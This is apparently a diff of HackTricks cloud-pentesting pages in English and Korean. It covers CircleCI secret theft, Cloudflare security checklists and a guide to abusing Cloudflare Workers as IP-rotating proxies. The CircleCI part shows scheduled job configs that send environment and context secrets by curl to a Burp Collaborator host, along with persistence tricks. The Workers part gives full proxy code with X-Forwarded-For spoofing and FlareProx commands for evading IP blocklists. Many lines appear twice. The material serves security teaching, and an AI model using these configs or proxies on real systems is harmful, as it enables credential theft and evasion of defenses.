command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
```
#### 컨텍스트 비밀 유출
#### Exfiltrate Context Secrets
You need to **specify the context name** (this will also exfiltrate the project secrets):
**컨텍스트 이름을 지정해야 합니다** (이것은 프로젝트 비밀도 유출합니다):
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
```
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
웹 콘솔에 **접근할 수 없지만** **레포에 접근할 수** 있고 CircleCI가 사용된다는 것을 알고 있다면, **매 분마다 트리거되는 워크플로우**를 **수정**하여 **비밀을 외부 주소로 유출**할 수 있습니다:
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
```
> [!WARNING]
> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
> 새로운 `.circleci/config.yml` 파일을 리포지토리에 생성하는 것만으로는 **circleci 빌드를 트리거할 수 없습니다**. **circleci 콘솔에서 프로젝트로 활성화해야 합니다**.
#### Escape to Cloud
#### 클라우드로 탈출
**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
**CircleCI**는 **자신의 빌드를 그들의 머신에서 실행하거나 자신의 머신에서 실행할 수 있는 옵션을 제공합니다**.\
기본적으로 그들의 머신은 GCP에 위치해 있으며, 처음에는 관련된 정보를 찾을 수 없습니다. 그러나 피해자가 **자신의 머신(잠재적으로 클라우드 환경)에서 작업을 실행하고 있다면**, **흥미로운 정보가 있는 클라우드 메타데이터 엔드포인트를 찾을 수 있습니다**.
이전 예제에서는 모든 것이 도커 컨테이너 내에서 실행되었지만, **VM 머신을 실행하도록 요청할 수도 있습니다**(다른 클라우드 권한이 있을 수 있습니다):
```yaml
jobs:
exfil-env:
#docker:
# - image: cimg/base:stable
machine:
image: ubuntu-2004:current
exfil-env:
#docker:
# - image: cimg/base:stable
machine:
image: ubuntu-2004:current
```
Or even a docker container with access to a remote docker service:
원격 도커 서비스에 접근할 수 있는 도커 컨테이너:
```yaml
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
```
#### Persistence
- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
- _https://app.circleci.com/settings/user/tokens_
- It's possible to **create projects tokens** to access the project with the permissions given to the token.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
- It's possible to **add SSH keys** to the projects.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
- Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
- CircleCI에서 **사용자 토큰을 생성**하여 사용자 접근으로 API 엔드포인트에 접근할 수 있습니다.
- _https://app.circleci.com/settings/user/tokens_
- **프로젝트 토큰을 생성**하여 토큰에 부여된 권한으로 프로젝트에 접근할 수 있습니다.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
- 프로젝트에 **SSH 키를 추가**할 수 있습니다.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
- 예기치 않은 프로젝트의 **숨겨진 브랜치에 크론 작업을 생성**하여 매일 모든 **컨텍스트 환경** 변수를 **유출**할 수 있습니다.
- 또는 브랜치에서 생성하거나 알려진 작업을 수정하여 매일 모든 컨텍스트와 **프로젝트 비밀**을 **유출**할 수 있습니다.
- GitHub 소유자인 경우 **검증되지 않은 오브**를 **허용**하고 작업에서 **백도어**로 구성할 수 있습니다.
- 일부 작업에서 **명령 주입 취약점**을 찾아 **비밀**의 값을 수정하여 **명령을 주입**할 수 있습니다.
{{#include ../banners/hacktricks-training.md}}

View File

@@ -47,13 +47,19 @@ On each Cloudflare's worker check:
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
- Check for SSRFs returning the indicated page that you can control
- Check XSSs executing JS inside a svg image
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
- Check for SSRFs returning the indicated page that you can control
- Check XSSs executing JS inside a svg image
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
> [!WARNING]
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check:
{{#ref}}
cloudflare-workers-pass-through-proxy-ip-rotation.md
{{#endref}}
## R2
On each R2 bucket check:
@@ -94,34 +100,34 @@ cloudflare-zero-trust-network.md
## Notifications
- [ ] Check the **notifications.** These notifications are recommended for security:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
- `Advanced HTTP DDoS Attack Alert`
- `Advanced Layer 3/4 DDoS Attack Alert`
- `Flow-based Monitoring: Volumetric Attack`
- `Route Leak Detection Alert`
- `Access mTLS Certificate Expiration Alert`
- `SSL for SaaS Custom Hostnames Alert`
- `Universal SSL Alert`
- `Script Monitor New Code Change Detection Alert`
- `Script Monitor New Domain Alert`
- `Script Monitor New Malicious Domain Alert`
- `Script Monitor New Malicious Script Alert`
- `Script Monitor New Malicious URL Alert`
- `Script Monitor New Scripts Alert`
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
- `Advanced HTTP DDoS Attack Alert`
- `Advanced Layer 3/4 DDoS Attack Alert`
- `Flow-based Monitoring: Volumetric Attack`
- `Route Leak Detection Alert`
- `Access mTLS Certificate Expiration Alert`
- `SSL for SaaS Custom Hostnames Alert`
- `Universal SSL Alert`
- `Script Monitor New Code Change Detection Alert`
- `Script Monitor New Domain Alert`
- `Script Monitor New Malicious Domain Alert`
- `Script Monitor New Malicious Script Alert`
- `Script Monitor New Malicious URL Alert`
- `Script Monitor New Scripts Alert`
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
## Manage Account
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
> [!NOTE]
@@ -132,6 +138,3 @@ cloudflare-zero-trust-network.md
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,125 +2,125 @@
{{#include ../../banners/hacktricks-training.md}}
In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
Cloudflare에 구성된 각 TLD에는 구성할 수 있는 **일반 설정 및 서비스**가 있습니다. 이 페이지에서는 각 섹션의 **보안 관련 설정**을 **분석**할 것입니다:
<figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
### Overview
### 개요
- [ ] Get a feeling of **how much** are the services of the account **used**
- [ ] Find also the **zone ID** and the **account ID**
- [ ] 계정의 서비스가 **얼마나** **사용되고 있는지** 파악하기
- [ ] **존 ID**와 **계정 ID** 찾기
### Analytics
### 분석
- [ ] In **`Security`** check if there is any **Rate limiting**
- [ ] **`Security`**에서 **Rate limiting**이 있는지 확인하기
### DNS
- [ ] Check **interesting** (sensitive?) data in DNS **records**
- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
- [ ] Check for web pages that **aren't** **proxied**
- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
- [ ] Check that **DNSSEC** is **enabled**
- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
- This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
- [ ] DNS **레코드**에서 **흥미로운** (민감한?) 데이터 확인하기
- [ ] **이름**에 따라 **민감한 정보**를 포함할 수 있는 **서브도메인** 확인하기 (예: admin173865324.domin.com)
- [ ] **프록시되지 않은** 웹 페이지 확인하기
- [ ] CNAME 또는 IP 주소로 **직접 접근할 수 있는** **프록시된 웹 페이지** 확인하기
- [ ] **DNSSEC**가 **활성화**되어 있는지 확인하기
- [ ] **모든 CNAME에서** **CNAME Flattening**이 **사용**되고 있는지 확인하기
- 이는 **서브도메인 탈취 취약점**을 **숨기고** 로드 시간을 개선하는 데 유용할 수 있습니다.
- [ ] 도메인이 [**스푸핑에 취약하지 않은지**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing) 확인하기
### **Email**
### **이메일**
TODO
### Spectrum
### 스펙트럼
TODO
### SSL/TLS
#### **Overview**
#### **개요**
- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
- [ ] The **SSL/TLS Recommender** should be enabled
- [ ] **SSL/TLS 암호화**는 **Full** 또는 **Full (Strict)**이어야 합니다. 다른 경우에는 어느 시점에서 **명확한 텍스트 트래픽**이 전송됩니다.
- [ ] **SSL/TLS 추천기**가 활성화되어야 합니다.
#### Edge Certificates
#### 엣지 인증서
- [ ] **Always Use HTTPS** should be **enabled**
- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
- [ ] **Minimum TLS Version should be 1.2**
- [ ] **TLS 1.3 should be enabled**
- [ ] **Automatic HTTPS Rewrites** should be **enabled**
- [ ] **Certificate Transparency Monitoring** should be **enabled**
- [ ] **항상 HTTPS 사용**이 **활성화**되어야 합니다.
- [ ] **HTTP 엄격 전송 보안 (HSTS)**가 **활성화**되어야 합니다.
- [ ] **최소 TLS 버전은 1.2**여야 합니다.
- [ ] **TLS 1.3**이 **활성화**되어야 합니다.
- [ ] **자동 HTTPS 재작성**이 **활성화**되어야 합니다.
- [ ] **인증서 투명성 모니터링**이 **활성화**되어야 합니다.
### **Security**
### **보안**
- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
- The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
- [ ] In the **`Settings`** section:
- [ ] Check that the **`Security Level`** is **medium** or greater
- [ ] Check that the **`Challenge Passage`** is 1 hour at max
- [ ] Check that the **`Browser Integrity Check`** is **enabled**
- [ ] Check that the **`Privacy Pass Support`** is **enabled**
- [ ] **`WAF`** 섹션에서 **방화벽** **속도 제한 규칙이 사용되고 있는지** 확인하는 것이 흥미롭습니다.
- **`Bypass`** 작업은 요청에 대해 **Cloudflare 보안** 기능을 **비활성화**합니다. 사용해서는 안 됩니다.
- [ ] **`Page Shield`** 섹션에서 페이지가 사용되는 경우 **활성화**되어 있는지 확인하는 것이 좋습니다.
- [ ] **`API Shield`** 섹션에서 Cloudflare에 노출된 API가 있는 경우 **활성화**되어 있는지 확인하는 것이 좋습니다.
- [ ] **`DDoS`** 섹션에서 **DDoS 보호**를 활성화하는 것이 좋습니다.
- [ ] **`Settings`** 섹션에서:
- [ ] **`Security Level`** **중간** 이상인지 확인하기
- [ ] **`Challenge Passage`**가 최대 1시간인지 확인하기
- [ ] **`Browser Integrity Check`**가 **활성화**되어 있는지 확인하기
- [ ] **`Privacy Pass Support`**가 **활성화**되어 있는지 확인하기
#### **CloudFlare DDoS Protection**
#### **CloudFlare DDoS 보호**
- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
- If the attack is from a **verified bot**, at least **add a rate limit** to bots.
- If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
- You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
- Check if **Managed rules** could also help to prevent vulnerability exploitations.
- In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
- In DDoS you could **override some rules to make them more restrictive**.
- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
- 가능하다면 **Bot Fight Mode** 또는 **Super Bot Fight Mode**를 활성화하세요. 프로그램적으로 접근하는 API를 보호하는 경우 (예: JS 프론트 엔드 페이지에서) 이 기능을 활성화할 수 없을 수 있습니다.
- **WAF**에서: **URL 경로**별로 **속도 제한**을 생성하거나 **검증된 봇**에 대해 (속도 제한 규칙), 또는 IP, 쿠키, 리퍼러 등을 기반으로 **접근 차단**을 할 수 있습니다. 따라서 웹 페이지에서 오지 않거나 쿠키가 없는 요청을 차단할 수 있습니다.
- 공격이 **검증된 봇**에서 발생하는 경우, 최소한 **봇에 대한 속도 제한**을 추가하세요.
- 공격이 **특정 경로**에 대한 경우, 예방 메커니즘으로 이 경로에 **속도 제한**을 추가하세요.
- **도구**에서 IP 주소, IP 범위, 국가 또는 ASN을 **허용 목록에 추가**할 수 있습니다.
- **관리 규칙**이 취약점 악용 방지에 도움이 될 수 있는지 확인하세요.
- **도구** 섹션에서 특정 IP 및 **사용자 에이전트**에 대해 **차단하거나 도전 과제를 제공**할 수 있습니다.
- DDoS에서 **일부 규칙을 재정의하여 더 제한적으로 만들 수 있습니다**.
- **설정**: **Security Level**을 **높음**으로 설정하고 **Under Attack**으로 설정하세요. 공격을 받고 있고 **Browser Integrity Check가 활성화**되어 있어야 합니다.
- Cloudflare Domains -> Analytics -> Security -> **속도 제한**이 활성화되어 있는지 확인하세요.
- Cloudflare Domains -> Security -> Events -> **탐지된 악성 이벤트**를 확인하세요.
### Access
### 접근
{{#ref}}
cloudflare-zero-trust-network.md
{{#endref}}
### Speed
### 속도
_I couldn't find any option related to security_
_보안과 관련된 옵션을 찾을 수 없었습니다._
### Caching
### 캐싱
- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
- [ ] **`Configuration`** 섹션에서 **CSAM 스캐닝 도구**를 활성화하는 것을 고려하세요.
### **Workers Routes**
### **워커 경로**
_You should have already checked_ [_cloudflare workers_](#workers)
_이미_ [_cloudflare workers_](#workers)를 확인했어야 합니다.
### Rules
### 규칙
TODO
### Network
### 네트워크
- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
- [ ] **`HTTP/2`** **활성화**되어 있다면, **`HTTP/2 to Origin`**도 **활성화**되어야 합니다.
- [ ] **`HTTP/3 (with QUIC)`**가 **활성화**되어야 합니다.
- **사용자**의 **프라이버시**가 중요하다면, **`Onion Routing`**이 **활성화**되어 있는지 확인하세요.
### **Traffic**
### **트래픽**
TODO
### Custom Pages
### 사용자 정의 페이지
- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
- [ ] 보안과 관련된 오류가 발생할 때 사용자 정의 페이지를 구성하는 것은 선택 사항입니다 (예: 차단, 속도 제한 또는 공격 모드).
### Apps
###
TODO
### Scrape Shield
### 스크랩 방지
- [ ] Check **Email Address Obfuscation** is **enabled**
- [ ] Check **Server-side Excludes** is **enabled**
- [ ] **이메일 주소 난독화**가 **활성화**되어 있는지 확인하세요.
- [ ] **서버 측 제외**가 **활성화**되어 있는지 확인하세요.
### **Zaraz**
@@ -131,6 +131,3 @@ TODO
TODO
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,286 @@
# Cloudflare Workers를 패스스루 프록시로 악용하기 (IP 회전, FireProx-style)
{{#include ../../banners/hacktricks-training.md}}
Cloudflare Workers는 업스트림 대상 URL을 클라이언트가 제공하는 투명한 HTTP 패스스루 프록시로 배포될 수 있습니다. 요청은 Cloudflare 네트워크에서 egress되므로 대상은 클라이언트 대신 Cloudflare IP를 관찰합니다. 이는 AWS API Gateway에서 잘 알려진 FireProx 기법과 유사하지만 Cloudflare Workers를 사용합니다.
### 주요 기능
- 모든 HTTP 메서드 지원 (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
- 대상은 쿼리 매개변수(?url=...), 헤더(X-Target-URL), 또는 경로 인코딩(예: /https://target)으로 제공 가능
- 필요에 따라 hop-by-hop/header filtering을 적용하면서 헤더와 바디를 프록시
- 상태 코드와 대부분의 헤더를 보존하여 응답을 클라이언트로 전달
- Worker가 사용자 제어 헤더에서 설정하는 경우 X-Forwarded-For 스푸핑 선택 가능
- 여러 Worker 엔드포인트를 배포하고 요청을 분산(fanning out)하여 매우 빠르고 쉬운 회전 가능
### 작동 방식 (흐름)
1) 클라이언트가 Worker URL(`<name>.<account>.workers.dev` 또는 커스텀 도메인 라우트)로 HTTP 요청을 보냅니다.
2) Worker는 쿼리 매개변수(?url=...), X-Target-URL 헤더, 또는 구현된 경우 경로 세그먼트에서 대상을 추출합니다.
3) Worker는 문제를 일으킬 수 있는 헤더를 필터링하면서 들어온 메서드, 헤더, 바디를 지정된 업스트림 URL로 전달합니다.
4) 업스트림 응답은 Cloudflare를 통해 클라이언트로 스트리밍되어 발신지는 Cloudflare egress IP를 보게 됩니다.
### Worker 구현 예시
- 쿼리 파라미터, 헤더 또는 경로에서 대상 URL을 읽음
- 안전한 헤더 하위 집합을 복사하고 원본 메서드/바디를 전달
- 선택적으로 사용자 제어 헤더(X-My-X-Forwarded-For)나 랜덤 IP로 X-Forwarded-For 설정
- 관대한 CORS 추가 및 preflight 처리
<details>
<summary>패스스루 프록시용 예제 Worker (JavaScript)</summary>
```javascript
/**
* Minimal Worker pass-through proxy
* - Target URL from ?url=, X-Target-URL, or /https://...
* - Proxies method/headers/body to upstream; relays response
*/
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
try {
const url = new URL(request.url)
const targetUrl = getTargetUrl(url, request.headers)
if (!targetUrl) {
return errorJSON('No target URL specified', 400, {
usage: {
query_param: '?url=https://example.com',
header: 'X-Target-URL: https://example.com',
path: '/https://example.com'
}
})
}
let target
try { target = new URL(targetUrl) } catch (e) {
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
}
// Forward original query params except control ones
const passthru = new URLSearchParams()
for (const [k, v] of url.searchParams) {
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
}
if (passthru.toString()) target.search = passthru.toString()
// Build proxied request
const proxyReq = buildProxyRequest(request, target)
const upstream = await fetch(proxyReq)
return buildProxyResponse(upstream, request.method)
} catch (error) {
return errorJSON('Proxy request failed', 500, {
message: error.message,
timestamp: new Date().toISOString()
})
}
}
function getTargetUrl(url, headers) {
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
if (!t && url.pathname !== '/') {
const p = url.pathname.slice(1)
if (p.startsWith('http')) t = p
}
return t
}
function buildProxyRequest(request, target) {
const h = new Headers()
const allow = [
'accept','accept-language','accept-encoding','authorization',
'cache-control','content-type','origin','referer','user-agent'
]
for (const [k, v] of request.headers) {
if (allow.includes(k.toLowerCase())) h.set(k, v)
}
h.set('Host', target.hostname)
// Optional: spoof X-Forwarded-For if provided
const spoof = request.headers.get('X-My-X-Forwarded-For')
h.set('X-Forwarded-For', spoof || randomIP())
return new Request(target.toString(), {
method: request.method,
headers: h,
body: ['GET','HEAD'].includes(request.method) ? null : request.body
})
}
function buildProxyResponse(resp, method) {
const h = new Headers()
for (const [k, v] of resp.headers) {
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
h.set(k, v)
}
}
// Permissive CORS for tooling convenience
h.set('Access-Control-Allow-Origin', '*')
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
h.set('Access-Control-Allow-Headers', '*')
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
}
function errorJSON(msg, status=400, extra={}) {
return new Response(JSON.stringify({ error: msg, ...extra }), {
status, headers: { 'Content-Type': 'application/json' }
})
}
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
```
</details>
### FlareProx를 사용한 배포 및 회전 자동화
FlareProx는 Cloudflare API를 사용해 여러 Worker endpoints를 배포하고 그 사이를 회전하는 Python 도구입니다. 이를 통해 Cloudflare의 네트워크에서 FireProx-like한 IP 회전을 제공합니다.
설정
1) 대시보드에서 “Edit Cloudflare Workers” 템플릿을 사용하여 Cloudflare API Token을 생성하고 Account ID를 확인합니다.
2) FlareProx 구성:
```bash
git clone https://github.com/MrTurvey/flareprox
cd flareprox
pip install -r requirements.txt
```
**flareprox.json 구성 파일 생성:**
```json
{
"cloudflare": {
"api_token": "your_cloudflare_api_token",
"account_id": "your_cloudflare_account_id"
}
}
```
**CLI 사용법**
- N개의 Worker proxies 생성:
```bash
python3 flareprox.py create --count 2
```
- 엔드포인트 나열:
```bash
python3 flareprox.py list
```
- 헬스 체크 엔드포인트:
```bash
python3 flareprox.py test
```
- 모든 엔드포인트 삭제:
```bash
python3 flareprox.py cleanup
```
**Worker를 통한 트래픽 라우팅**
- 쿼리 파라미터 형식:
```bash
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
```
- 헤더 형식:
```bash
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
```
- 경로 형식 (구현된 경우):
```bash
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
```
- 방법 예시:
```bash
# GET
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
# POST (form)
curl -X POST -d "username=admin" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
# PUT (JSON)
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
# DELETE
curl -X DELETE \
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
```
**`X-Forwarded-For` 제어**
Worker가 `X-My-X-Forwarded-For`를 존중하면, 업스트림의 `X-Forwarded-For` 값을 조작할 수 있습니다:
```bash
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
```
**프로그래밍 방식 사용**
FlareProx 라이브러리를 사용하여 endpoints를 생성/나열/테스트하고 Python에서 요청을 라우팅하세요.
<details>
<summary>Python 예시: 임의의 Worker endpoint를 통해 POST 전송</summary>
```python
#!/usr/bin/env python3
from flareprox import FlareProx, FlareProxError
import json
# Initialize
flareprox = FlareProx(config_file="flareprox.json")
if not flareprox.is_configured:
print("FlareProx not configured. Run: python3 flareprox.py config")
exit(1)
# Ensure endpoints exist
endpoints = flareprox.sync_endpoints()
if not endpoints:
print("Creating proxy endpoints...")
flareprox.create_proxies(count=2)
# Make a POST request through a random endpoint
try:
post_data = json.dumps({
"username": "testuser",
"message": "Hello from FlareProx!",
"timestamp": "2025-01-01T12:00:00Z"
})
headers = {
"Content-Type": "application/json",
"User-Agent": "FlareProx-Client/1.0"
}
response = flareprox.redirect_request(
target_url="https://httpbin.org/post",
method="POST",
headers=headers,
data=post_data
)
if response.status_code == 200:
result = response.json()
print("✓ POST successful via FlareProx")
print(f"Origin IP: {result.get('origin', 'unknown')}")
print(f"Posted data: {result.get('json', {})}")
else:
print(f"Request failed with status: {response.status_code}")
except FlareProxError as e:
print(f"FlareProx error: {e}")
except Exception as e:
print(f"Request error: {e}")
```
</details>
**Burp/Scanner 통합**
- 도구(예: Burp Suite)를 Worker URL로 지정하세요.
- 실제 업스트림은 ?url= 또는 X-Target-URL을 사용해 제공하세요.
- HTTP 의미론(메서드/헤더/바디)은 유지되며 소스 IP는 Cloudflare 뒤에 가려집니다.
**운영상의 주의사항 및 제한**
- Cloudflare Workers Free plan은 계정당 하루 약 100,000 요청을 허용합니다; 필요하면 트래픽 분산을 위해 여러 엔드포인트를 사용하세요.
- Workers는 Cloudflare의 네트워크에서 실행됩니다; 많은 대상은 Cloudflare IPs/ASN만 보게 되어 단순한 IP 허용/차단 목록이나 지리적 휴리스틱을 우회할 수 있습니다.
- 책임 있게, 권한이 있는 경우에만 사용하세요. ToS와 robots.txt를 준수하세요.
## 참고자료
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,43 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
**Cloudflare Zero Trust Network** 계정에는 구성할 수 있는 **설정 및 서비스**가 있습니다. 이 페이지에서는 각 섹션의 **보안 관련 설정**을 **분석**할 것입니다:
<figure><img src="../../images/image (206).png" alt=""><figcaption></figcaption></figure>
### Analytics
- [ ] Useful to **get to know the environment**
- [ ] 환경을 **알아가는 데 유용함**
### **Gateway**
- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
- If used, **policies** could be created to **restrict** the access to malicious sites.
- This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
- [ ] **`Policies`**에서 **DNS**, **네트워크** 또는 **HTTP** 요청에 따라 애플리케이션에 접근할 수 있는 사람을 **제한**하는 정책을 생성할 수 있습니다.
- 사용되는 경우, 악성 사이트에 대한 접근을 **제한**하는 정책을 생성할 수 있습니다.
- 이는 **게이트웨이를 사용하는 경우에만 관련이 있으며**, 그렇지 않으면 방어 정책을 생성할 이유가 없습니다.
### Access
#### Applications
On each application:
각 애플리케이션에서:
- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
- To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
- [ ] Check the **available identity providers** and make sure they **aren't too open**
- [ ] In **`Settings`**:
- [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
